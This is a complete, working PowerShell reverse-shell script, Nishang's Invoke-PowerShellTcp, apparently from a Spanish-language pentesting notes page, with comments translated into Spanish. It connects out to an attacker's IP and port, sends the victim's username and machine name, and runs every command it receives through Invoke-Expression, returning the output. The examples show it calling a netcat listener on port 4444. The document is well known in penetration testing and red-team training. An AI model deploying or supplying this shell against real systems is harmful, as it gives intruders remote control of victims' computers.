PowerShell

function Invoke-PowerShellTcp 
{ 
<#
.SYNOPSIS
Script de Nishang que se puede usar para un shell interactivo **Reverse** de PowerShell en un objetivo. 

.DESCRIPTION
Este script se conecta a un netcat estándar que está escuchando en un puerto cuando se usa el interruptor `-Reverse`.

El script está derivado de **Powerfun**, escrito por Ben Turner & Dave Hardy.

.PARAMETER IPAddress
La dirección IP a la que se conectará cuando se utilice el interruptor `-Reverse`.

.PARAMETER Port
El puerto al que se conectará cuando se utilice el interruptor `-Reverse`.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

El ejemplo anterior muestra un **reverse shell interactivo de PowerShell**. Un listener netcat/powercat debe estar escuchando en 
la IP y el puerto especificados.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444

El ejemplo anterior muestra un **reverse shell interactivo de PowerShell** sobre IPv6. Un listener netcat/powercat debe estar
escuchando en la IP y puerto dados.

.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>      

    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [String]
        $IPAddress,  # Dirección IP a la que nos conectaremos en modo Reverse

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Int]
        $Port,  # El puerto al que nos conectaremos en modo Reverse

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse  # Si se selecciona este parámetro, el script actúa como Reverse Shell

    )

    try 
    {
        # Si el interruptor -Reverse es usado, el script intentará conectarse al servidor remoto
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)  # Crea el cliente TCP que se conecta al servidor
        }

        $stream = $client.GetStream()  # Obtiene el flujo de datos para leer y escribir
        [byte[]]$bytes = 0..65535|%{0}  # Crea un buffer de bytes para leer los datos

        # Envia el mensaje de bienvenida con el nombre de usuario y nombre de la máquina
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)  # Escribe el mensaje en el flujo

        # Muestra un prompt interactivo de PowerShell
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')  # Define el prompt
        $stream.Write($sendbytes,0,$sendbytes.Length)  # Escribe el prompt en el flujo

        # Bucle que lee los comandos desde el flujo y los ejecuta
        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)  # Decodifica los comandos recibidos
            try
            {
                # Ejecuta el comando recibido en PowerShell
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Algo salió mal con la ejecución del comando en el objetivo."  # Manejo de errores si el comando falla
                Write-Error $_  # Muestra el error
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '  # Añade el prompt nuevamente a la salida
            $x = ($error[0] | Out-String)  # Captura cualquier error adicional
            $error.clear()  # Limpia la lista de errores
            $sendback2 = $sendback2 + $x  # Añade los errores a la salida

            # Retorna los resultados al servidor
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)  # Escribe la salida en el flujo
            $stream.Flush()  # Asegura que todos los datos sean enviados
        }

        $client.Close()  # Cierra la conexión una vez que se sale del bucle
    }
    catch
    {
        Write-Warning "¡Algo salió mal! Verifique si el servidor es accesible y si está usando el puerto correcto."  # Mensaje de advertencia en caso de error
        Write-Error $_  # Muestra el error
    }
}

Last updated